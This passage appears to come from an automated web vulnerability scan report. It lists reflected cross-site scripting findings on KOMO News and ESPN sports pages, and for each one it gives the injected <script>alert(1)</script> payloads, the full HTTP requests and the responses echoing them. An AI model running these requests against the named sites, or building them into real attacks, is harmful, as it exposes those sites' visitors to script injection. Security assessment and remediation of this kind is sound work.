The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bd653"><script>alert(1)</script>52ad56ec133 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Sports/Mariners?bd653"><script>alert(1)</script>52ad56ec133=1 HTTP/1.1
Host: search.komonews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 23:06:36 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
SS-InternalUrl: ct=r&q=&=quot%3bMariners%2cquot%3b&type=20198,20249732&bd653%22%3e%3cscript%3ealert(1)%3c%2fscript%3e52ad56ec133=1
SS-UserId: 00000000-0000-0000-0000-000000000000
SS-IsAnonymous: 1
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 51176
Set-Cookie: .ASPXANONYMOUS=nCStKEAKzAEkAAAAMThmMTQwMzAtZDJjYS00NGU3LTgxMzMtMDRlY2JmY2MwYTFiA5OESjmJdTdf8b9aTWmeoyyk5RE1; expires=Wed, 04-May-2011 09:46:36 GMT; path=/; HttpOnly
Set-Cookie: sess_nopops=0; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:36 GMT; path=/
Set-Cookie: sess_new=1; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:36 GMT; path=/
Set-Cookie: sess_ct=0; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:36 GMT; path=/
Set-Cookie: sess_last=2/23/2011 3:06:36 PM; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:36 GMT; path=/
Vary: Accept-Encoding
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <title>Sports News</title>
   <meta http-equiv="X-UA-Compatible" content="IE=7" />
   
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="KOMO News Updates" href="http://search.komonews.com/default.aspx?ct=r&=quot%3bMariners%2cquot%3b&type=20198,20249732&bd653"><script>alert(1)</script>52ad56ec133=1&ename=rsspage" />
...[SNIP]...

1.174. http://search.komonews.com/Sports/Seahawks [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.komonews.com
Path:   /Sports/Seahawks

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ed940"><script>alert(1)</script>af0d5982538 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Sports/Seahawks?ed940"><script>alert(1)</script>af0d5982538=1 HTTP/1.1
Host: search.komonews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 23:06:37 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
SS-InternalUrl: ct=r&q=&=quot%3bSeahawks%2cquot%3b&type=20198,20249732&ed940%22%3e%3cscript%3ealert(1)%3c%2fscript%3eaf0d5982538=1
SS-UserId: 00000000-0000-0000-0000-000000000000
SS-IsAnonymous: 1
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 51176
Set-Cookie: .ASPXANONYMOUS=irwmKUAKzAEkAAAAMGVhNGU4MDctYTUzOC00M2JmLTg0OGYtMTlkMWEyM2YzNzVhP97LsOtMhGepQwGK_6QVdWu3ce81; expires=Wed, 04-May-2011 09:46:37 GMT; path=/; HttpOnly
Set-Cookie: sess_nopops=0; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:37 GMT; path=/
Set-Cookie: sess_new=1; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:37 GMT; path=/
Set-Cookie: sess_ct=0; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:37 GMT; path=/
Set-Cookie: sess_last=2/23/2011 3:06:37 PM; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:37 GMT; path=/
Vary: Accept-Encoding
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <title>Sports News</title>
   <meta http-equiv="X-UA-Compatible" content="IE=7" />
   
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="KOMO News Updates" href="http://search.komonews.com/default.aspx?ct=r&=quot%3bSeahawks%2cquot%3b&type=20198,20249732&ed940"><script>alert(1)</script>af0d5982538=1&ename=rsspage" />
...[SNIP]...

1.175. http://search.komonews.com/Sports/Sounders [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.komonews.com
Path:   /Sports/Sounders

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52dca"><script>alert(1)</script>187c0480744 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Sports/Sounders?52dca"><script>alert(1)</script>187c0480744=1 HTTP/1.1
Host: search.komonews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 23:06:38 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
SS-InternalUrl: ct=r&q=%22Sounders%22&type=20198,20249732&52dca%22%3e%3cscript%3ealert(1)%3c%2fscript%3e187c0480744=1
SS-UserId: 00000000-0000-0000-0000-000000000000
SS-IsAnonymous: 1
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 48661
Set-Cookie: .ASPXANONYMOUS=tGPDKUAKzAEkAAAANzM0Mjg0ZWEtZTJkNS00NmE1LWIyY2QtNjJiOGEyNTc1NWUwSHq9SF8emDkTTAASAqfuVEITTFM1; expires=Wed, 04-May-2011 09:46:38 GMT; path=/; HttpOnly
Set-Cookie: sess_nopops=0; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:38 GMT; path=/
Set-Cookie: sess_new=1; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:38 GMT; path=/
Set-Cookie: sess_ct=0; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:38 GMT; path=/
Set-Cookie: sess_last=2/23/2011 3:06:38 PM; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:38 GMT; path=/
Vary: Accept-Encoding
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <title>Sports &quot;Sounders&quot; News</title>
   <meta http-equiv="X-UA-Compatible
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="KOMO News Updates" href="http://search.komonews.com/default.aspx?ct=r&q=%22Sounders%22&type=20198,20249732&52dca"><script>alert(1)</script>187c0480744=1&ename=rsspage" />
...[SNIP]...

1.176. http://search.komonews.com/default.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.komonews.com
Path:   /default.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 262ed"><script>alert(1)</script>6ed48e1f7ef was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /default.aspx?ct=r&q=alaskan+way+viaduct&262ed"><script>alert(1)</script>6ed48e1f7ef=1 HTTP/1.1
Host: search.komonews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 23:07:05 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
SS-InternalUrl: ct=r&q=alaskan+way+viaduct&262ed%22%3e%3cscript%3ealert(1)%3c%2fscript%3e6ed48e1f7ef=1
SS-UserId: 00000000-0000-0000-0000-000000000000
SS-IsAnonymous: 1
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 47701
Set-Cookie: .ASPXANONYMOUS=_IvWOUAKzAEkAAAAZmQyMjEzZTUtMmM2OS00MTE5LWJjZDctNDU1ZTI1ZTQ5OWUwH664_BbROqxQXMQjructrXLWTLI1; expires=Wed, 04-May-2011 09:47:05 GMT; path=/; HttpOnly
Set-Cookie: sess_nopops=0; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:07:05 GMT; path=/
Set-Cookie: sess_new=1; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:07:05 GMT; path=/
Set-Cookie: sess_ct=0; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:07:05 GMT; path=/
Set-Cookie: sess_last=2/23/2011 3:07:05 PM; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:07:05 GMT; path=/
Vary: Accept-Encoding
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <title>Alaskan Way Viaduct News</title>
   <meta http-equiv="X-UA-Compatible" conten
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="KOMO News Updates" href="http://search.komonews.com/default.aspx?ct=r&q=alaskan+way+viaduct&262ed"><script>alert(1)</script>6ed48e1f7ef=1&ename=rsspage" />
...[SNIP]...

1.177. http://search.komonews.com/default.aspx [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.komonews.com
Path:   /default.aspx

Issue detail

The value of the q request parameter is copied into the HTML document as plain text between tags. The payload 800ef<script>alert(1)</script>802ab134ff2 was submitted in the q parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /default.aspx?ct=r&q=alaskan+way+viaduct800ef<script>alert(1)</script>802ab134ff2 HTTP/1.1
Host: search.komonews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 23:06:44 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
SS-InternalUrl: ct=r&q=alaskan+way+viaduct+800+e%3cscript%3ealert(1)%3c%2fscript%3e802ab134ff2&cq=alaskan+way+viaduct800ef%3cscript%3ealert(1)%3c%2fscript%3e802ab134ff2
SS-UserId: 00000000-0000-0000-0000-000000000000
SS-IsAnonymous: 1
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 16006
Set-Cookie: .ASPXANONYMOUS=4KApLUAKzAEkAAAAZDE4MjJmMDQtMGFjNi00NDdjLWEwYzEtMzY3NGRhM2NkMGQyHZX1RYPJpm0WtbgAPpNgmu8k3vc1; expires=Wed, 04-May-2011 09:46:43 GMT; path=/; HttpOnly
Set-Cookie: sess_nopops=0; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:43 GMT; path=/
Set-Cookie: sess_new=1; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:43 GMT; path=/
Set-Cookie: sess_ct=0; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:43 GMT; path=/
Set-Cookie: sess_last=2/23/2011 3:06:43 PM; domain=.search.komonews.com; expires=Thu, 23-Feb-2012 23:06:43 GMT; path=/
Vary: Accept-Encoding
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <title>&quot;alaskan way viaduct 800 e&lt;script&gt;alert 1 &lt; script&gt;802ab13
...[SNIP]...
<div class="noresults">No results found for &quot;alaskan way viaduct800ef<script>alert(1)</script>802ab134ff2&quot; or &quot;alaskan way viaduct 800 e&lt;script&gt;alert(1)&lt;/script&gt;802ab134ff2&quot;.</div>
...[SNIP]...

1.178. http://soccernet.espn.go.com/team [cc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://soccernet.espn.go.com
Path:   /team

Issue detail

The value of the cc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c0321"%3balert(1)//d2fdfaa962c was submitted in the cc parameter. This input was echoed as c0321";alert(1)//d2fdfaa962c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /team?id=190&cc=5901c0321"%3balert(1)//d2fdfaa962c HTTP/1.1
Host: soccernet.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 23:06:47 GMT
Content-Type: text/html; charset=iso-8859-1
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN02
Set-Cookie: SWID=9C26EDED-89CF-48C8-B3F7-8885D279085F; path=/; expires=Wed, 23-Feb-2031 23:06:47 GMT; domain=.go.com;
Cache-Expires: Wed, 23 Feb 2011 23:11:47 GMT
Content-Length: 27184
Cache-Control: no-cache
Pragma: no-cache
Set-Cookie: DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; expires=Sat, 05 Mar 2011 23:06:47 GMT; Path=/; Domain=.go.com
Connection: close
Via: 8810-05/06
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>New York Red Bulls
...[SNIP]...
ng()].join("")}}(function(){var c=false,e="AcceptCookies";if(document.cookie.indexOf(e)!==-1){c=true}else{cookieFunc(e,"yes",3);cookie=cookieFunc(e,null,null);if(cookie!=null){c=true}}if(c){var g="5901c0321";alert(1)//d2fdfaa962c",d=cookieFunc("COREG"),f=window.location,a="replace";if(g!=null){g=g+""}if(d!=null&&d!==g){setORef();if(location.toString().indexOf("cc=")!=-1){var b=new RegExp("cc="+g,"i");f=f.toString()[a](b,"cc="+
...[SNIP]...

1.179. http://soccernet.espn.go.com/team [cc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://soccernet.espn.go.com
Path:   /team

Issue detail

The value of the cc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 563e2"><script>alert(1)</script>a0867662a73 was submitted in the cc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /team?id=190&cc=5901563e2"><script>alert(1)</script>a0867662a73 HTTP/1.1
Host: soccernet.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 23:06:46 GMT
Content-Type: text/html; charset=iso-8859-1
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN32
Set-Cookie: SWID=0080C2D3-BF04-4C91-85A0-65F5A6E54CD3; path=/; expires=Wed, 23-Feb-2031 23:06:46 GMT; domain=.go.com;
Cache-Expires: Wed, 23 Feb 2011 23:11:46 GMT
Content-Length: 27281
Cache-Control: no-cache
Pragma: no-cache
Set-Cookie: DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; expires=Sat, 05 Mar 2011 23:06:46 GMT; Path=/; Domain=.go.com
Connection: close
Via: 8810-05/06
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>New York Red Bulls
...[SNIP]...
ng()].join("")}}(function(){var c=false,e="AcceptCookies";if(document.cookie.indexOf(e)!==-1){c=true}else{cookieFunc(e,"yes",3);cookie=cookieFunc(e,null,null);if(cookie!=null){c=true}}if(c){var g="5901563e2"><script>alert(1)</script>a0867662a73",d=cookieFunc("COREG"),f=window.location,a="replace";if(g!=null){g=g+""}if(d!=null&&d!==g){setORef();if(location.toString().indexOf("cc=")!=-1){var b=new RegExp("cc="+g,"i");f=f.toString()[a](b,"cc="+
...[SNIP]...

1.180. http://sports.espn.go.com/chicago/nba/columns/story [columnist parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sports.espn.go.com
Path:   /chicago/nba/columns/story

Issue detail

The value of the columnist request parameter is copied into an HTML comment. The payload de58b--><script>alert(1)</script>a255c6a6a00 was submitted in the columnist parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /chicago/nba/columns/story?columnist=greenberg_jonde58b--><script>alert(1)</script>a255c6a6a00&id=6146046 HTTP/1.1
Host: sports.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Cache-Control: max-age=60
Date: Sat, 26 Feb 2011 02:21:50 GMT
Content-Type: text/html; charset=iso-8859-1
Last-Modified: Sat, 26 Feb 2011 02:21:50 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN31
Cache-Expires: Sat, 26 Feb 2011 02:22:50 GMT
Content-Length: 48139
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Coaching Chicago Bu
...[SNIP]...
<!--url:/chicago/nba/columns/story?columnist=greenberg_jonde58b--><script>alert(1)</script>a255c6a6a00&id=6146046-->
...[SNIP]...

1.181. http://sports.espn.go.com/chicago/nfl/columns/story [columnist parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sports.espn.go.com
Path:   /chicago/nfl/columns/story

Issue detail

The value of the columnist request parameter is copied into an HTML comment. The payload df167--><script>alert(1)</script>1c3289f1740 was submitted in the columnist parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /chicago/nfl/columns/story?columnist=isaacson_melissadf167--><script>alert(1)</script>1c3289f1740&id=6137245 HTTP/1.1
Host: sports.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Cache-Control: max-age=60
Date: Sat, 26 Feb 2011 02:22:33 GMT
Content-Type: text/html; charset=iso-8859-1
Last-Modified: Sat, 26 Feb 2011 02:22:33 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN15
Cache-Expires: Sat, 26 Feb 2011 02:23:33 GMT
Content-Length: 41569
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Dave Duerson's form
...[SNIP]...
<!--url:/chicago/nfl/columns/story?columnist=isaacson_melissadf167--><script>alert(1)</script>1c3289f1740&id=6137245-->
...[SNIP]...

1.182. http://sports.espn.go.com/chicago/teams/recap [sport parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sports.espn.go.com
Path:   /chicago/teams/recap

Issue detail

The value of the sport request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf0f9"><script>alert(1)</script>e1494246220 was submitted in the sport parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /chicago/teams/recap?gameId=310542507&sport=ncbbf0f9"><script>alert(1)</script>e1494246220 HTTP/1.1
Host: sports.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Cache-Control: max-age=60
Date: Sat, 26 Feb 2011 02:22:52 GMT
Content-Type: text/html; charset=iso-8859-1
Last-Modified: Sat, 26 Feb 2011 02:22:52 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN16
Cache-Expires: Sat, 26 Feb 2011 02:23:52 GMT
Content-Length: 21817
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Game Recap - ESPN C
...[SNIP]...
<a href="http://sports.espn.go.com/ncbbf0f9"><script>alert(1)</script>e1494246220/boxscore?gameId=310542507">
...[SNIP]...

1.183. http://sports.espn.go.com/espn/js/uniloginInLineReplace [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sports.espn.go.com
Path:   /espn/js/uniloginInLineReplace

Issue detail

The value of the cb request parameter is copied into the HTML document as plain text between tags. The payload d4bef<script>alert(1)</script>37fa09da2a3 was submitted in the cb parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /espn/js/uniloginInLineReplace?cb=runOmnitureIndependentlyd4bef<script>alert(1)</script>37fa09da2a3 HTTP/1.1
Host: sports.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:08:02 GMT
Content-Type: text/html; charset=iso-8859-1
Last-Modified: Wed, 23 Feb 2011 23:08:02 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN18
Cache-Expires: Wed, 23 Feb 2011 23:18:02 GMT
Content-Length: 324
Connection: close
X-UA-Compatible: IE=EmulateIE7


if(""==""){
   runOmnitureIndependentlyd4bef<script>alert(1)</script>37fa09da2a3(null, null, null, null, null, null, null);
}
else{
   var insiderTokenCheck = "0";
   if(insiderTokenCheck == "0") insiderTokenCheck = "0";
   runOmnitureIndependentlyd4bef<script>
...[SNIP]...

1.184. http://sports.espn.go.com/golf/columns/story [columnist parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sports.espn.go.com
Path:   /golf/columns/story

Issue detail

The value of the columnist request parameter is copied into an HTML comment. The payload 79c9f--><script>alert(1)</script>32e5dd3314b was submitted in the columnist parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /golf/columns/story?columnist=sobel_jason79c9f--><script>alert(1)</script>32e5dd3314b&page=CiL HTTP/1.1
Host: sports.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
